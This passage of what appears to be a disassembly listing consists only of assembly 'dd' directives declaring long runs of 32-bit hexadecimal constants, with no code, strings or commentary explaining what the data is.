0AB22E918h dd 1A0FEF33h, 68774A73h, 0F57CE00Bh, 0E7EEFF44h, 54B57203h dd 8EC188B9h, 315FF63Dh, 25C395F8h, 4C986A71h, 68161435h dd 0B8A04820h, 0F6E91857h, 25F5E5AAh, 0C07E8E12h, 0D6E6B2AFh dd 2BBD99ABh, 2DE9DDE0h, 96CB8C29h, 89461BB9h, 0FD315E0Eh dd 54561C10h, 0BB5C4B0h, 60C9DE87h, 0F638B753h, 4BC4DF6Dh dd 966FF66Bh, 0A99188A2h, 81F8FD4Bh, 0CCF4425h, 21150D0h dd 0E94837E8h, 0C455A3FCh, 680209B2h, 8A7622EAh, 8399C6h dd 0C73D0BB9h, 0C2F9BF40h, 609D3874h, 9DAE0D2Dh, 92492274h dd 0CAE855B0h, 0E92FEA29h, 75E78B53h, 4BD5F489h, 90CBFE73h dd 33261468h, 0F310EE1Bh, 5B1667CCh, 0A381A104h, 0C25E308h dd 545AD8DBh, 0B0C9643h, 5F72C6BFh, 26D7FA76h, 52ED98BAh dd 0C1142CCh, 0D0353C5Fh, 0C91C2B9Eh, 79C4A60Bh, 5E5ADA95h dd 161F8432h, 6DCAEBFCh, 408D8984h, 200FAFC5h, 9DC8F62Bh dd 3EF2BC68h, 79D27217h, 0EF4414C0h, 80F7794Dh, 9E12141Ah dd 20984A0Dh, 0A2364BFCh, 31EB4AF4h, 2B446824h, 5B13638Bh dd 4A9E90A8h, 315DC622h, 0C25E60B4h, 4ED6F539h, 263BD23h dd 0D48B21F7h, 925B613Bh, 0FE6858DCh, 888EB0FDh, 0F3E9C508h dd 8E047D6Dh, 0C205F079h, 80002750h, 7A285EEDh, 8CD925E8h dd 9C580922h, 249BED77h, 0C9D8872h, 9CE3C3Fh, 8205AC6Eh dd 9876CC4h, 71964BD0h, 65B8127h, 9B0310D2h, 38E90D4Ah dd 0B8CA4517h, 8D91A580h, 0FE01DBB0h, 0B8982FCDh, 9DC6F486h dd 90901B70h, 8D90704Bh, 5E7C39EEh, 20F580FFh, 675F470Fh dd 0CD018B85h, 73E01772h, 5DC6B404h, 0B269D8B5h, 9D5F4F32h dd 58453FE7h, 44EEB8E9h, 0AA8C6811h, 5AF511F5h, 0C8573664h dd 0D00B1D26h, 4E495AEAh, 4E4012E7h, 57E44273h, 911BDAFh dd 6C116803h, 0CC1C097Dh, 0CA07F149h, 0EA8FB95Dh, 16E8BD37h dd 830108EFh, 0A8B23EDCh, 0C6C5A47Ah, 232F5BF2h, 9334A18h dd 4DD70208h, 98B4562h, 8A07C138h, 0B51688FFh, 5BDD9000h dd 0E659EB30h, 0EC80ECDAh, 0D32804E1h, 0C872E4E9h, 4C008E04h dd 0D6B86629h, 4A992CC1h, 7A99BE31h, 0ED824744h, 0A5A54D9h dd 1CD4CB8h, 2614BE41h, 5EFEFE49h, 1A7BBD01h, 0F86B04B7h dd 0CD879D7Eh, 72D43AF9h, 2D4CF5C1h, 22247EE5h, 0CA429529h dd 25E09AFBh, 1D651DFFh, 0CB7A0518h, 2C8A4EEFh, 0E0391DC3h dd 8EC6095h, 0F7010364h, 0E18141D1h, 10967B88h, 5DDD0CDFh dd 0C1017EDFh, 52DFE260h, 1D40853Eh, 6609C0C0h, 58C22142h dd 50236F3h, 0C7083CBEh, 0F3CE81FFh, 8EB12B9Eh, 0B4FEA93Ah dd 0D95A73B9h, 3B7921A7h, 17BAECCCh, 6A429ABh, 4DD64E81h dd 230BCE04h, 0BD8019B7h, 636D5443h, 0AFE66406h, 4CD84F9Ah dd 0D498D9E6h, 0A37F4609h, 0B13EFF29h, 2B5DE92Fh, 0CE8577Dh dd 795A6851h, 8C064EF6h, 0F249F42Bh, 0D596FF2Dh, 58C14EB0h dd 2060534Bh, 0B7A96640h, 0BA026458h, 4F3A0EF9h, 81A8E031h dd 28C318C9h, 7C1E0BCh, 8040971Ah, 0EC4AFFF8h, 10737BFFh dd 0E781128Ah, 0AA3B12AAh, 70E8D401h, 35601A08h, 40C35A2Bh dd 5400729h, 6100B8D2h, 3FC78168h, 7648187Fh, 0CC68CD29h dd 5D320C9h, 4D27E590h, 0E9835194h, 0C0E96CB8h, 0F695E192h dd 0C2025953h, 0C17AE15Ch, 0A32FB031h, 61C60007h, 0F7793035h dd 0DA6BB5D6h, 42ACE098h, 0CA02AF5h, 0A7434EB2h, 8E2D7B8Fh dd 3C73C2h, 391664C6h, 351D0905h, 9C436D5Dh, 0D03C8452h dd 140E1871h, 0DA595099h, 6D14BB00h, 0D90961C1h, 0AFE55B5Eh dd 3544DCE4h, 81127111h, 50BD4B1h, 0CEE52181h, 30628802h dd 6F9E4261h, 313F8ECBh, 0FE48E700h, 3EFC0C7h, 22F0F0A2h dd 560BBF07h, 0DAA230CDh, 15D090Eh, 876EAC58h, 0A04ACF3Ch dd 0C113C474h, 210144A8h, 78BE2D82h, 4080C840h, 2F557F6Fh dd 756806E5h, 15104C74h, 50DD0168h, 0A1BD4E8Ch, 38357D92h dd 0E7F95A75h, 0EFA44E84h, 4B8811E4h, 257AF803h, 137C2789h dd 79DFD4B9h, 0C0C53128h, 0B53851CBh, 66106710h, 9BCC86A9h dd 38DA7606h, 0DD73ABC3h, 66F76010h, 1AC14B9Dh, 84049EA9h dd 8EE7C16Fh, 330B6EEBh, 59A574DCh, 575D002Ch, 0DDE93A53h dd 8B05BA40h, 4A223D67h, 49EAED13h, 1085C8CEh, 0FA665782h dd 0CA5EF2Dh, 15BF1421h, 0CAA520C3h, 0AD205F4Bh, 0B25D7539h dd 0F12B0473h, 0AECDE94Ch, 0A482C937h, 8B4CDD88h, 0B35676F4h dd 302D79A5h, 45755115h, 6FF3BF59h, 92E1B993h, 3CD7B80h dd 0FF6A40BEh, 0B5008694h, 4EF8019h, 0B1F0E728h, 82C80BDh dd 70FF5A5Fh, 3786E9A6h, 2C581A8h, 0A796F3B5h, 0F6AFB855h dd 19E927F9h, 0B2522C60h, 412AFC5Ch, 49566F85h, 0D119101Eh dd 2FEDBF11h, 0D02B3BEDh, 76542CDEh, 47C5C4Ch, 0E9E1E4Ch dd 41C84F80h, 4B6D98F5h, 0B221A8D7h, 9354561Ch, 0C9FDFD5Eh dd 27C9DEA0h, 886A96E5h, 0D27E985h, 39D7EF20h, 0F9255BF6h dd 0F0CCC925h, 0A835A0B2h, 49899321h, 0D1572442h, 617B03EBh dd 3830712Eh, 0EE448385h, 56C7247Fh, 106600F0h, 4F35692Dh dd 209B6C13h, 97A0211Eh, 224A05F4h, 0D8565512h, 842838EAh dd 0D7CE165Bh, 75E8257Eh, 4F899345h, 0C0BE6C87h, 2CB2B530h dd 3F98E931h, 0D85B38C9h, 2F2DE933h, 0B4E36484h, 7E0986B4h dd 880143BFh, 0E958BEA4h, 0C1DC613Ah, 0CB52A1C1h, 0FA842E4Bh dd 935F080Fh, 587FD5B2h, 25309811h, 0F6CC860Eh, 5508D16Bh dd 0A8DD0A6h, 0EC1DCF6h, 58E188C7h, 1D75E9F4h, 4B6EB450h dd 0BADA8909h, 2514BC20h, 9DC22959h, 61180961h, 550C8411h dd 0D7FA3B4Dh, 0DE2DD822h, 90EA825Eh, 0F59A79h, 0D36286F4h dd 0CA293464h, 0E908022Eh, 0DAF25C8Ch, 889AB509h, 0B78C80ECh dd 98E7303Eh, 651730ADh, 7A522D25h, 50BCF5F3h, 1BA6E5E0h dd 279363Bh, 0B0A242EDh, 0F62F43DDh, 0C4585C22h, 42F96882h dd 20BD97F1h, 0E1801CB1h, 9C1D717h, 398EB228h, 2B966C09h dd 2E684AC2h, 14DEEC10h, 0BF1676C6h, 0C2EA6B17h, 0B4401539h dd 895B593Fh, 19B34FFh, 0C9186D88h, 5D0A3E73h, 0D02D08EAh dd 4A580034h, 0E9411FE7h, 0A5C7A27Bh, 2C8368F7h, 0E37D3CD0h dd 4D181B15h, 13A7573Ch, 7302E289h, 0F175F712h, 69F0826Ah dd 0A8C018C7h, 0F41D0778h, 8165E919h, 2DF1686Ch, 0AF2F7472h dd 975490D5h, 0A5F1B1A0h, 329A1977h, 0AB4B497Ch, 8865392Bh dd 4BA402C7h, 597FDDF7h, 24CD24F7h, 96D3A795h, 0F046F5CBh dd 98C4784Bh, 2411ECAEh, 68891859h, 2FF7DAB9h, 7BDACF1Fh dd 32BEFB4Eh, 0F3FFD9EAh dd 3810A77h, 0AF5B134Ah, 1C23B38Ah, 2C685382h, 828AF16Bh dd 2941BEFh, 0D5D9CAFDh, 52BA22B3h, 69C107h, 4C65F10Bh dd 0B45A4EA3h, 53181D3Bh, 0F61C401Ah, 0F4932C6Dh, 95590BD0h dd 58E97A82h, 564B76D8h, 0FF2781A6h, 81F320FDh, 75DC6FF6h dd 92ADFAC1h, 0EB7EB18Ch, 0B46C2705h, 8D411CC6h, 639B02Eh dd 0A780054Fh, 3E214C4h, 227F350Eh, 0BE866A4h, 21062C6Dh dd 710A3C25h, 77B2D40h, 0B3B30725h, 78EB4A21h, 3AF5EC33h dd 50A0C1ACh, 0C64B6AE9h, 225D38FBh, 6A7944Bh, 96C4E24Ah dd 3A233DAFh, 0BC664DD9h, 3984BA02h, 0D6893E29h, 0ECBD9350h dd 0E7C0BC5h, 8EE56973h, 5C85E905h, 0CF9498AAh, 2F9094Bh dd 6BC8E9A1h, 1EC4FEF4h, 89E62872h, 0CDAFB159h, 0C5BCD116h dd 91BE00B0h, 30962E78h, 43D61751h, 0D5F65AA9h, 326DC3C5h dd 778D5F40h, 0E41BBE1Eh, 9CA1EC8h, 6D505F5Ah, 3581EFB1h dd 3BBA154Ch, 2C50020h, 0C11B6939h, 0B1C006E6h, 68809D31h dd 83163917h, 0C0C64FFAh, 5152ACC6h, 5379B107h, 0DA22CB88h dd 6106FC5Bh, 3CDBF280h, 16CA19AFh, 0EAECA106h, 873BE34h dd 5018897h, 2AFE2089h, 5EB0CA6Fh, 41E0FAE4h, 0C2A460B5h dd 22AC2B4Eh, 6A828A9Fh, 0E8298BBFh, 2BD72207h, 1819C806h dd 0C43FBB4Ch, 0A2EFF0FDh, 0C9BFD2C7h, 0DB88009Fh, 48900267h dd 0D98D4E2Dh, 0C3826BEAh, 0A94A3CE9h, 4ABDD95Dh, 0FC46B162h dd 6E342F3Ah, 0EFA994ABh, 301F2F88h, 0E93F69E5h, 0C79C8911h dd 7BB529C4h, 0D3BAF32Ah, 57C0EAB8h, 122DB1BFh, 81474D00h dd 633C7DC7h, 0B263B57Bh, 57481201h, 0F801DE2Ah, 0CF41B570h dd 2D20C0D9h, 0D97E285Fh, 8078D995h, 0D12FBACEh, 3727686Bh dd 2FEC67h, 29158820h, 0D306E9DEh, 0CA0995B2h, 503B462Bh dd 0E90780BAh, 1D5496FBh, 0F0D29643h, 561FB63Bh, 0E5D7F328h dd 0CE899047h, 5C6D5D72h, 6FF6693Bh, 854F2090h, 0E044EA78h dd 45CD99F7h, 42628400h, 0F5E19F6Eh, 2AE33BC2h, 273AEA16h dd 1AB8F20Ah, 32766801h, 1734316Fh, 0E204016Eh, 80C21762h dd 215ABCC3h, 0A0539A27h, 5619CF18h, 6FD2BD2Eh, 0EA333C05h dd 20C92D46h, 0D405F02Eh, 0BD010E96h, 281B0E9Fh, 0F582E2E8h dd 64F6FCEEh, 798BBCC1h, 158F8900h, 1AD22DFBh, 2C6ABF2Fh dd 0A1E90702h, 1BD8146Ah, 45417C41h, 30014606h, 5CD02EF0h dd 9D602368h, 0C142A2EEh, 7EFF680Bh, 0CE673E76h, 27E26CE9h dd 96228A29h, 7957C808h, 2F2C0BC2h, 7B9376F1h, 0A9B74781h dd 4175CF7Ch, 7CD0600Eh, 43602C2Fh, 9B5AA3AAh, 0C7BB85B4h dd 2B20A9D0h, 5E0B2F0Dh, 0E420DCCBh, 0AA80F02Eh, 23E0D5D6h dd 0FF46FD8h, 14C8B84Ah, 6862668h, 0EAA38809h, 602D5027h dd 2FC634EFh, 681258D6h, 78B30647h, 0B3369B01h, 93C7293Ch dd 36DE58FBh, 11EF8101h, 6168C838h, 8AF1FFAEh, 0FF268067h dd 49A5E52Dh, 0FEE9193Ah, 2B5E8ACFh, 51FF00EAh, 5A54952Ah dd 1F553AC0h, 0FB31D022h, 0AE6BB243h, 6AFAB570h, 8368020Ch dd 960DD965h, 60C68181h, 3A75AE12h, 4D34DBCh, 0B7C533DBh dd 0F9350A3h, 0F5C73DC0h, 976B6865h, 8828ADAh, 6115DC55h dd 0ACA56DE9h, 53C6E8Fh, 173D20F9h, 353374C0h, 2957487Eh dd 7F8FF704h, 840EE25h, 0B95FF2C3h, 12A0912Ah, 160E5693h dd 7BE40046h, 811C146Bh, 1C39E14Ch, 0BD475585h, 0CC24FCAh dd 80106221h, 0E66191F4h, 19E6B765h, 72E4B4C1h, 0AA20279Fh dd 407582D1h, 0F6682EAEh, 0B54E7134h, 2F52C7C1h, 0CB54BB0Eh dd 825A58C0h, 7D6490C7h, 3EE914Fh, 79DC304Ch, 6CD41CF2h dd 92D7D60h, 0FFFA9834h, 1684F110h, 12668B58h, 61FEE090h dd 93AD2F77h, 1806EF29h, 9C42901h, 0E8C655C1h, 0E3E72A84h dd 1B96424Eh, 0B03B06C8h, 4BA02F21h, 573E516h, 378C2108h dd 0CAA36B3Dh, 281F6809h, 12926CF1h, 3DE92942h, 452C8170h dd 0A961E30Bh, 3D90F705h, 9F729868h, 0A4468FDCh, 0D0E60431h dd 8006031Ah, 25408D5Ah, 0D4E89A0h, 212FFC16h, 1D442714h dd 44CB2393h, 82E1F601h, 0BCB4151h, 9FDB98Bh, 5A25E64Bh dd 0AE1212B0h, 0F12F4E29h, 4268FC02h, 0EABA5202h, 620B6C35h dd 16727444h, 0FF9ABF54h, 97209458h, 9E5FB93Ch, 6E934261h dd 6C39CFE1h, 9817C4h, 141EE3BBh, 15849737h, 0EBD6B4C9h dd 7B982AE5h, 6840BF5Dh, 1A256855h, 11F183Eh, 0D12880B6h dd 0FC18013h, 5209F6CAh, 0DF8DB6h, 6B353B3h, 0C7EB2580h dd 0C0B92EE9h, 0D8E92CC8h, 6027E93Fh, 0A8D77150h, 70910AA4h dd 0FEA5209h, 3BCA0FFEh, 666A00C4h, 0CE296B0Ch, 53246092h dd 0C500DDC4h, 21AC4AE7h, 0E4ED78D1h, 464C1855h, 9C730C20h dd 0E9916509h, 0CA1EC2B1h, 2ED3FD4Fh, 0E416DF69h, 0FD0C7AB1h dd 1C2312Dh, 0EDDEDFF9h, 7F5AD089h, 7680E7E1h, 10AA344Ah dd 0D6C0FD01h, 26F7691Bh, 978BE6E9h, 89C960FEh, 510C684Bh dd 80CE04B1h, 0B828A5F1h, 4D80126h, 81F3E96Bh, 79F05D3Eh dd 0DF22AC07h, 738BD914h, 0F3BCE857h, 4CF6F6CFh, 0DD205438h dd 0CBAB53B5h, 1D08445Bh, 7405017Eh, 7BEF8671h, 0F4EFB3C4h dd 92301EE9h, 320A0C18h, 8F3953F3h, 0ACA34C20h, 37CD23D0h dd 0C280C79Eh, 11BE6927h, 50CA7829h, 35E908EAh, 0F0C38665h dd 1041523h, 0E1D14BAAh, 5ED44EE5h, 2F73062h, 23405A22h dd 6EBB4195h, 900F8FCCh, 6AFF2789h, 3A9D8F1Ch, 0D192C2EEh dd 7B846997h, 0E2ECE402h, 293E8CEBh, 0C941C4C2h, 167D4A10h dd 1CFAFEEEh, 7B01663Bh, 9FD5E90Bh, 76425471h, 23000B7Ch dd 4CE2807Ah, 8639EAE6h, 5407A7C0h, 0BCB8BC92h, 9CD5D52Fh dd 86FFA1DCh, 9751B93Ah, 3518A0ACh, 0C72D1AC0h, 0DB70A609h dd 0EE6AA031h, 5C522838h, 0BE264B6Dh, 9267A3F3h, 2C07BA28h dd 0F56721C5h, 5A54ED57h, 53D70BEBh, 0A9D7D387h, 454E94DAh dd 733020B5h, 147B00DDh, 4BF78128h, 2E484D2Ch, 0A9A4005Ah dd 0C1E945E5h, 0B7599D89h, 9534EA05h, 5318E0AAh, 4C85BB05h dd 0F00140D9h, 0E4D8CCDFh, 82C81060h, 0B3686740h, 817D6F5Dh dd 69570E64h, 0D2A0B46Fh, 0EEDEF804h, 0F6E8C309h, 0BEF34736h dd 909C0B20h, 6C601C28h, 0B9D0E7A6h, 3B4C1BFCh, 5AA781DBh dd 0BE40132Fh, 603817C0h, 77E7CC46h, 292C1634h, 43136DDFh dd 9FC249A4h, 0AC56C789h, 47080630h, 73E70681h, 405A111Ch dd 56630402h, 788EE90Eh, 0EE545BA1h, 0E92F3339h, 0BCE9A0CEh dd 85AFBF23h, 0CD13AA33h, 0DE14F2F8h, 370320BAh, 476C2826h dd 818746E1h, 56AACE19h, 0F6D81AB3h, 17FE90BCh, 0CAF1895Fh dd 8BD4AB9h, 34217E16h, 1BE7EB73h, 55CDEBD2h, 65582725h dd 62449553h, 1EA743B7h, 0D2441FCAh, 7F70012h, 31302595h dd 5C5ACB77h, 0F37567C7h, 0BF6661AFh, 7FA86B7Bh, 0FA635AC5h dd 51B85E31h, 1CDFD207h, 0E972BCCCh, 0ABB6E40h, 785E1A63h dd 63782DEEh, 50F70127h, 2B372729h, 0FF6BBAFCh, 82119389h dd 27C68C8h, 0DA2E281h, 0EACFC0D7h, 0CAC90218h, 7FD3E9ECh dd 1C887D0Bh, 0A075171Ch, 459F87CCh, 0E9520374h, 0C024741h dd 2CB617B7h, 82D14330h, 9FFDE4F0h, 53B7307Ah, 0AB5E27FCh dd 2F3BDC70h, 8BF16BE2h, 6561D62h, 42F02EF7h, 609A5A54h dd 0D2B91548h, 0E9822FECh, 0D7545812h, 71A83E4h, 88B5855Fh dd 0A63EC7A1h, 392344A8h, 0DF2D0F48h, 0D450EED5h, 6C21641h dd 1A9BAC90h, 2F68984Ch dd 656754FEh, 0E97C2127h, 3424AC85h, 516CB8CFh, 0ED7AC584h dd 0F2D1E223h, 63F707C5h, 6FD786A7h, 7B56C59Eh, 3A04FE2Ah dd 9A1E3FEDh, 950941BEh, 0D00BE6F8h, 741E3BE9h, 8E688139h dd 7A26D404h, 9C30228Dh, 0E919C38Ah, 0AB8412E8h, 85E559ACh dd 5A9EF8A1h, 5EB1A5BCh, 31247AF5h, 109F5FBh, 3B66ADFEh dd 0E34CE79Ah, 0EDB3124Eh, 3364E598h, 0AEC26C4h, 0F6CBFE07h dd 1FC345D3h, 0B27D6789h, 54E809C9h, 0BDF800E6h, 0CD310616h dd 0A0DFE912h, 9AD5C8FEh, 0C8327A4Eh, 1B89DDE1h, 9592ECF7h dd 2D4043D8h, 2950585Ch, 9D282579h, 0C10BE45h, 703E3B51h dd 0F931BA99h, 0C505781Ch, 0BDBA401Bh, 6858E090h, 0EC0B9F7Ch dd 0F8A00965h, 0B579D20Bh, 59FE25h, 32DC681h, 0B2983306h dd 0AC4BC20Ch, 4E15187Eh, 77818220h, 971D5AF4h, 6D74808Ch dd 0E5C13145h, 6004F544h, 0E9253E8Dh, 473FA53h, 4C6369BAh dd 9531FB29h, 3BC0C2F1h, 46F0B522h, 0DE163F90h, 0A2153511h dd 9FAC5FE5h, 0AD3C5C13h, 18089624h, 9CB20EBh, 1E092094h dd 0A1E3B7Eh, 1D602118h, 724E2403h, 0FAF0209h, 0DDE173C6h dd 94E84B7h, 28FA1C4Fh, 0F72668F6h, 0E06B3E4Ah, 8628231Ah dd 855ABE38h, 0D6F775BBh, 0E3B0EDB8h, 94EC14Eh, 40AAB8B0h dd 430FB89Dh, 4A796847h, 149A036h, 2F08EEB6h, 4EA82320h dd 16AFA683h, 45B33023h, 0E918F44Ah, 1FBC952Ch, 24A27FA5h dd 58027896h, 0A7954850h, 594E253Bh, 72011DCh, 124C584Ch dd 784ACD12h, 4189149h, 829CC016h, 700BC2C6h, 0F60F874Ah dd 2459869Ah, 98A00C8Ch, 25146911h, 41B6F101h, 0D5912F08h dd 0F701F6ACh, 9A4830DFh, 0B14AB975h, 0DC2A33A1h, 520897D6h dd 0A0296591h, 91EB108h, 0BA75FE6Ch, 0FFB255B8h, 90DFF157h dd 3CFE24E9h, 9C1A75A7h, 0FD76C257h, 6E5BBEB1h, 0BB2E773Dh dd 3A2D9139h, 5EC2A210h, 4A31DBAh, 0E23A5268h, 775A7AE9h dd 2ADD2DBBh, 0C19CB984h, 387E9744h, 0AB685BC0h, 0AD3BE155h dd 0FC49DFB1h, 87423070h, 7FE5093Bh, 4955CB29h, 0B53BBE88h dd 790FE8C6h, 57E4897h, 0CFF3C04Eh, 702C23F2h, 37D6B5F6h dd 0DA651C83h, 399FA99Ch, 0BB605448h, 6997953Bh, 417AA130h dd 0E908137Fh, 33C6491Bh, 512ED1B0h, 6B027F82h, 98298C25h dd 810EEB8Eh, 82E92A21h, 3E83BAA1h, 3D00AB2h, 57EAD092h dd 3B4B0368h, 8B9743E2h, 64EA5A6Fh, 0ACE3EB89h, 85392D97h dd 45A9680Ch, 691001E3h, 755D25B2h, 0F09216EBh, 0B58E9285h dd 2FF3DF4Dh, 67E2BB84h, 80BC899Fh, 0E282EDF6h, 60DAF706h dd 4C18FBAFh, 0C20294E4h, 6D975F38h, 211F00F5h, 4F7DE9F8h dd 0B2277761h, 0EA5C8404h, 9D5E5470h, 7520F8B1h, 9BF82EB7h dd 0CA04A194h, 0C7E8BE1Dh, 561388DCh, 25EF14Bh, 8501DA37h dd 58ACD1EBh, 7F6E3405h, 8963A0D4h, 3CE9DD0Ch, 0FBB5C22h dd 1B1132A8h, 0AFC6CE45h, 0E20541A2h, 852AF65Eh, 37480427h dd 5CB6C14Dh, 32BC04B3h, 41AF84Bh, 4E633F7Bh, 5A272DB9h dd 20BBAA61h, 4C24C659h, 0E102CB55h, 7E40D652h, 7063335h dd 0F465A405h, 0EEC5B337h, 28F19D20h, 0B8704814h, 0B5D1910h dd 17F83ADh, 7E840FA1h, 0C60B0132h, 710776DEh, 83806901h dd 6B64742Ch, 0B54C7897h, 333ABAC0h, 0C6B8025Bh, 15575527h dd 0B82AE51h, 3B5DF22Bh, 2DC5FFEEh, 0DE5DC14Ah, 0A9343C06h dd 79C20014h, 6844D94Dh, 0A7B431B7h, 71FC5167h, 0D9350BF2h dd 2242B0BDh, 3ED2BC40h, 0E912F504h, 31BE1C10h, 8F9FA0AEh dd 0D3E8C16Ch, 26774208h, 3315BC57h, 0C22F87AEh, 599334F4h dd 9EF07964h, 62251D36h, 2DE7E653h, 0B3BF0AE0h, 0BB55E12h dd 83D7C40Eh, 0ABF7039Ah, 76281051h, 135B3B7Bh, 0DAC3B72h dd 0AF5AC6E4h, 0EBD2D197h, 9B4D1B9Bh, 6468091Bh, 58EE5408h dd 61EEEF81h, 108B90Dh, 800A0DFh, 0B782D9E9h, 0C208BF45h dd 75DD892Fh, 0F9C0EBF6h, 486AE62Ah, 0B9094840h, 42007266h dd 7932C5F6h, 5A27648h, 0A9065D6h, 4A51CF80h, 0B42AF9AAh dd 499D3AAEh, 2C20DD42h, 2E5A0FACh, 7EC5416Ah, 595B9069h dd 503E3C0h, 3013C380h, 885BD0D8h, 2010B0C7h, 43872ECh dd 2C747ECAh, 0B2F0D6E4h, 681370F4h, 5D89421Bh, 9BCC007Ah dd 88A0F280h, 0FCB7169Fh, 5A9C7EEFh, 307F28FAh, 86497498h dd 5E94063h, 0BA307E54h, 700C49Bh, 562C826Eh, 13212CE9h dd 4D8855Ah, 621FFF32h, 0A96D6E1Eh, 261C0FE0h, 515EF44Fh dd 0B061FFBDh, 0DF7C09E9h, 9804FA5Ah, 8CEAF676h, 455A720Ah dd 8B9613E3h, 9EC21D2h, 3F544EE9h, 0DC5BDD8Bh, 65135918h dd 0D2B12855h, 0BD6F5E3h, 9A738D6Ah, 7CC72A37h, 0C3A2DE89h dd 584EAAACh, 277A1CF2h, 96C873A8h, 952E15B6h, 54129507h dd 904A07B0h, 2A4809F7h, 8F574945h, 0DB2CE533h, 7127F9BDh dd 531417E5h, 4D0927Ah, 956BD468h, 2C45FE98h, 1F73BA80h dd 5435E518h, 1427C9D1h, 24D6E512h, 0D27D7403h, 0E8F5B013h dd 0D8AA0656h, 7FB1CAE9h, 0F052FEAh, 0FD6863D1h, 0A914EBBh dd 3F288953h, 2294D3A5h, 438D455Fh, 13F86811h, 8DD75868h dd 4162625Bh, 0A7C45B94h, 0F1868131h, 0F2C1417Ah, 405802B9h dd 9E998F50h, 88F4897Eh, 0CEBB5157h, 211C02CEh, 2B55E98Bh dd 7F8BDFFCh, 5B7691FAh, 45B44ABFh, 28E98453h, 5E09983Eh dd 38A9DD4Eh, 515C2CD6h, 1531E6C2h, 23A7F32h, 5331A05Dh dd 599AE951h, 8B1CBAA6h, 964C5E03h, 6871BB15h, 4A0241C6h dd 8EEA1A40h, 72125312h, 7E4D2001h, 3719432h, 4A6B3FECh dd 0EC5D40Ch, 0EA325A08h, 8A30222Dh, 0A26C132Dh, 1EC1279h dd 78620D7Fh, 31C37F38h, 29C5E11Fh, 9C7BE9FCh, 0FD880EA9h dd 0EF5CBDEBh, 0A224E52Dh, 1C57958Ch, 2E129D48h, 0D0E0D45Dh dd 0CE95BF69h, 0F74A7C60h, 0FE70162Bh, 0BC4A01DBh, 2A213503h dd 0C2B7120Ch, 8D8A4AB0h, 6B59E4C6h, 5E6FC527h, 85F19F94h dd 0B12592DCh, 0CCEC6A6Dh, 0D153E982h, 95584EDDh, 0CBC0E662h dd 449E316Ah, 0D61CE2CAh, 552F29EDh, 2F187C8Ah, 627C14DFh dd 50E90C83h, 0D6C8C0CAh, 651DB9CEh, 0E6816A56h, 4373790Ah dd 1C049373h, 803DD61Dh, 0D7A3E0Ch, 5B00A5Bh, 9C0BC46h dd 0C26BFD31h, 3F3DF5D9h, 6BF06529h, 0AEE5B5BDh, 0C9E156A7h dd 6E3A6600h, 28BD2AF8h, 42C08F0h, 0B1247F0Ah, 897AF3C3h dd 0EBBD1395h, 54F0E527h, 2816749Ch, 71A72BF0h, 8D8DEF68h dd 291EB288h, 5FB505ECh, 2CFC482Ch, 0D772E42Fh, 81082B21h dd 0A01DFBDh, 0E8AD2056h, 0D1309D41h, 98DABF05h, 14672D04h dd 87EE208Ah, 0E16701Bh, 89255064h, 5DD841E8h, 680EE12Ah dd 0C331A11Ah, 974C3E30h, 0CE2E9C72h, 146AE451h, 0DCFC7244h dd 3BBFB805h, 4C56F9F1h, 75EEB5D0h, 0BB2D60FDh, 47286472h dd 5B0CA459h, 0B60A9B23h, 0FA1526B9h, 0BF6A080Dh, 8796501Dh dd 9F9620FBh, 3C5A701Dh, 2053FC0h, 0FDD49FF5h, 8930D65Ah dd 2540B7D0h, 6C503E6h, 66C04604h, 4A993532h, 9C06EF6Eh dd 7E2AD894h, 0CA801AB2h, 0DBDFB7ABh, 0B51762A5h, 25A1597Fh dd 59BF45F6h, 8CEE93F1h, 9C41CFB0h, 2F11030h, 4A34CC3Bh dd 0B4E3EA87h, 0F6420827h, 875F9FCCh, 4AE945B6h, 6FA4FDh dd 3F1120F4h, 151CE781h, 0F7C72D5Ch, 0EF9047DFh, 71DDD89Dh dd 25699801h, 68F9BE91h, 6D060D80h, 0C3513CAh, 47A507AFh dd 0EF162A8Ah, 0E1C2F1CEh dd 7564B22h, 6A546D84h, 39C7B27Fh, 1AF5050Bh, 0AEFD04BBh dd 0FE125Bh, 55BD05DDh, 35FA6C71h, 0B67A0341h, 31FE5E1Eh dd 4053506Ch, 981249FEh, 32BD784Eh, 2E89192Fh, 1DB09066h dd 0BF00C596h, 1E9F6A5Eh, 0A5509DC1h, 0C98CC02Eh, 0D82EF482h dd 0F025854Bh, 13ABDA53h, 124AB994h, 92F42E1Ch, 0A82D1EC3h dd 74C1CC54h, 0DE3EF2F7h, 0C123475h, 739F00AEh, 5F6CBF05h dd 0B0C6B7Dh, 4C197749h, 0DA758234h, 0B6E5A91h, 0F97B5CB5h dd 0E6B8F525h, 0A9A89215h, 6C90BCBh, 0E01D8765h, 0B29C06E2h dd 97B496DDh, 0AEC086D4h, 184EF424h, 6336BC68h, 0FC822AB9h dd 646589DFh, 0CB59ABD2h, 0F16802CAh, 64576020h, 9B1216DEh dd 29D0EF69h, 776BEBBAh, 9FB8F4DDh, 74BC479h, 0C70B9F0Eh dd 20B1A8B7h, 0C09F869Dh, 3060EF97h, 0A70C26B5h, 6E09C20Ch dd 0DF61D4E9h, 0B1F8D818h, 1D1A0580h, 436DEE29h, 3D25379Fh dd 472DF0C1h, 13115A07h, 472525Eh, 1F57D06Ah, 0CA09D5DFh dd 0C2540729h, 90F09BD5h, 2E7817BEh, 0E6420151h, 20CA2F9Ah dd 49415EDh, 96A90A6Fh, 0FB525542h, 0B0164957h, 46C2D9A0h dd 0F009992Dh, 0A5E91281h, 0E2CBF54h, 0FB824EB7h, 1609285Eh dd 0C9CD7E49h, 0F088305Ch, 0D8F70E83h, 0DF74AAE9h, 3F1E772Fh dd 0AD38D92Ah, 0C35A1AB0h, 0D55CC882h, 680E9765h, 84C3F5FCh dd 99B56BAFh, 0F9F56AFCh, 2893530h, 0E9128628h, 0C57516CAh dd 0C55CAFF0h, 5766C1D2h, 74B4FB28h, 1C16FFA8h, 295C2CBEh dd 0A83CD740h, 0B6B0A373h, 1ADEE895h, 19621697h, 47F70A0Fh dd 22456619h, 0E7DFD5F7h, 8A0213E6h, 57955EE8h, 0D0EF81AAh dd 0C3EE711h, 7FBE8F56h, 81298A5Ah, 269F0214h, 0C441F8C5h dd 16719D44h, 0CD3E0CF1h, 0CFE42AEFh, 0D0E6FD5Ah, 3BE25C5h dd 183D63FCh, 63C5DC86h, 1E123D23h, 0FB940813h, 0AC315CD7h dd 0E9E7D532h, 732DE597h, 0CC541E04h, 6C65C206h, 2B791561h dd 13F02CBFh, 3F9E7402h, 0A5984DE9h, 284FAE8h, 0CD45AFBh dd 69E0AB7Dh, 856A0AADh, 0EB3AA34h, 1D0FED02h, 